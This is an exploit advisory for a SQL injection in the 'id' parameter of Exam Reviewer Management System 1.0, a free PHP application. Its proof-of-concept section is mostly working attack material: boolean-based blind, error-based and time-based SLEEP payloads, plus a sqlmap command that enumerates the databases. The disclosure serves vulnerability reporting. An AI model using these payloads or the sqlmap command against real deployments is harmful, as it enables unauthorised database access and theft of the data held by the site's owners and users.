Exam Reviewer Management System 1.0 SQL Injection

`# Exploit Title: Exam Reviewer Management System 1.0 - ‘id’ SQL Injection  
# Date: 2022-02-18  
# Exploit Author: Juli Agarwal(@agarwaljuli)  
# Vendor Homepage:  
https://www.sourcecodester.com/php/15160/simple-exam-reviewer-management-system-phpoop-free-source-code.html  
  
# Software Link:  
https://www.sourcecodester.com/download-code?nid=15160&title=Simple+Exam+Reviewer+Management+System+in+PHP%2FOOP+Free+Source+Code  
  
# Version: 1.0  
# Tested on: Windows 10/Kali Linux  
  
  
  
Description – The ‘id’ parameter in Exam Reviewer Management System web  
application is vulnerable to SQL Injection  
  
Vulnerable URL - http://127.0.0.1/erms/?p=take_exam&id=1  
  
  
  
POC:-  
  
  
  
---  
  
Parameter: id (GET)  
  
Type: boolean-based blind  
  
Title: AND boolean-based blind - WHERE or HAVING clause  
  
Payload: p=take_exam&id=1' AND 4755=4755 AND 'VHNu'='VHNu  
  
  
  
Type: error-based  
  
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY  
clause (FLOOR)  
  
Payload: p=take_exam&id=1' OR (SELECT 8795 FROM(SELECT  
COUNT(*),CONCAT(0x71766a7071,(SELECT  
(ELT(8795=8795,1))),0x7162716b71,FLOOR(RAND(0)*2))x FROM  
INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'MCXA'='MCXA  
  
  
  
Type: time-based blind  
  
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)  
  
Payload: p=take_exam&id=1' AND (SELECT 2206 FROM (SELECT(SLEEP(5)))AhEo)  
AND 'vqGg'='vqGg---  
  
  
  
*SQLMAP COMMAND*  
  
  
  
*# sqlmap -u "127.0.0.1/erms/?p=take_exam&id=1  
<http://127.0.0.1/erms/?p=take_exam&id=1>" -p id --dbs --level 3*  
  
`